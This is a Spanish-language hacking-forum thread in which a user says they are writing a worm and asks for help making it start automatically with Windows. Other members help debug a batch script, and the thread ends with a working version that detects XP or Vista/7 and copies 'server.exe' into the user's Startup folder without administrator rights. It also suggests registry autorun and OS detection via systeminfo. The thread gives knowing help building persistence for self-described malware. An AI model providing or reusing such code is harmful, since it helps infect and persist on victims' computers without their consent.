Hola!
Estoy programando un worm, pero me falla una parte vital, que es la de autoarranque con windows.
Tengo este codigo pero me da "error de sintaxis"
@echo off
REM esta carpeta vale si es windows xp solo
copy /Y server.exe %homedrive%\Documents and Settings\%username%\Menú inicio\Programas\Inicio
(Hay un archivo llamado server.exe donde se ejecuta el bat y la carpeta a donde quiero copiar existe)
y otra preguntita si no es mucho pedir:
como hacer desde batch, saber si un sistema es windows xp o vista/7
gracias!
Para que arranque desde windows, busca en google como agregar una entrada en el registro de windows para inciar con windows desde batch.
Y porque usas 2 variables de entorno pudiendo usar %userprofile%
Como te dicen, es incorrecto usar 2 variables de entorno.
http://www.google.com.mx/search?aq=f&gcx=w&sourceid=chrome&ie=UTF-8&q=iniciar+programa+con+windows
Zalu2
Lo que nadie te ha dicho es que aunque uses solamente %Userprofile% ese código te va a seguir dando error...
1º - Usa comillas dobles en nombres con espacios.
2º - Usa el nombre "real" en inglés, el mismo que sale al abrir la consola.
3º - Leete un manual básico...
copy /Y "server.exe" "%homedrive%\Documents and Settings\%username%\Start menu\Programs\Start\"
Para saber que windows usa, es tan fácil como esto:
systeminfo | find "Nombre del sistema"
Saludos.
CitarPara que arranque desde windows, busca en google como agregar una entrada en el registro de windows para inciar con windows desde batch
No quiero añadir nada al registro porque necesitas privilegios. De mi manera funcionaría en cualquier ordenador, bastaria con saber si es xp o w7 y copiar el programa a la carpeta de inicio.
CitarY porque usas 2 variables de entorno pudiendo usar %userprofile%
porque estaba desesperado probando de todas formas posibles y no me iba
Citar1º - Usa comillas dobles en nombres con espacios.
ok
Citar2º - Usa el nombre "real" en inglés, el mismo que sale al abrir la consola.
en la consola aparece esto TAL CUAL cuando estoy en la carpeta
C:\Documents and Settings\nombreusuario\Menú Inicio\Programas\Inicio>
CitarCódigo
copy /Y "server.exe" "%homedrive%\Documents and Settings\%username%\Start menu\Programs\Start\"
me dá error de ruta especificada no hallada...
Tambien probé con el nombre en español y me da el mismo error, creo que es fallo de la tilde.
alguna solucion?
si kereis probarlo en w7 la carpeta es
"%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu"
gracias!
el problema es que no tengo delante XP xDDD, en win7 sale la ruta del cmd en inglés xD
De todas formas el código tiene que ir por cojones, lo que no se es si habré puesto la ruta mal, pero ¿Estás seguro de que existe la carpeta "START"?
@echo off
mkdir "%userprofile%\Start menu\Programs\Start\"
copy /Y "server.exe" "%userprofile%\Start menu\Programs\Start\"
Pause >nul
PD: no se si habré puesto la ruta como es, no tengo el xp aqui.
Saludos.
Cita de: EleKtro H@cker en 3 Noviembre 2011, 16:46 PM
el problema es que no tengo delante XP xDDD, en win7 sale la ruta del cmd en inglés xD
De todas formas el código tiene que ir por cojones, lo que no se es si habré puesto la ruta mal, pero ¿Estás seguro de que existe la carpeta "START"?
@echo off
mkdir "%userprofile%\Start menu\Programs\Start\"
copy /Y "server.exe" "%userprofile%\Start menu\Programs\Start\"
Pause >nul
PD: no se si habré puesto la ruta como es, no tengo el xp aqui.
Saludos.
Ya he encontrado el fallo, por cierto, he probado tu código y me crea las carpetas en ingles xD
El problema está en el uso de la tilde, he mirado en este post: http://foro.elhacker.net/scripting/acentos_en_un_bat-t174987.0.html
Basicamente lo que dice es que usemos el editor de ms-dos ejecutando "edit"
Pones las tildes, guardas y perfecto!
Ya lo he solucionado, funciona 100%
Mi codigo de inicio automatico sin tener privilegios administrativo:
@echo off
REM Comprobando si es xp...
IF EXIST "%userprofile%\Men£ Inicio\Programas\Inicio\" copy /Y "server.exe" "%userprofile%\Men£ Inicio\Programas\Inicio\"
REM Comprobando si es vista o w7
IF EXIST "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup" copy /Y "server.exe" "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"
Pause
Le añadiré alguna mejora pero por el momento me sirve de sobra.
GRacias a todos por responder, especialmete a
EleKtro H@cker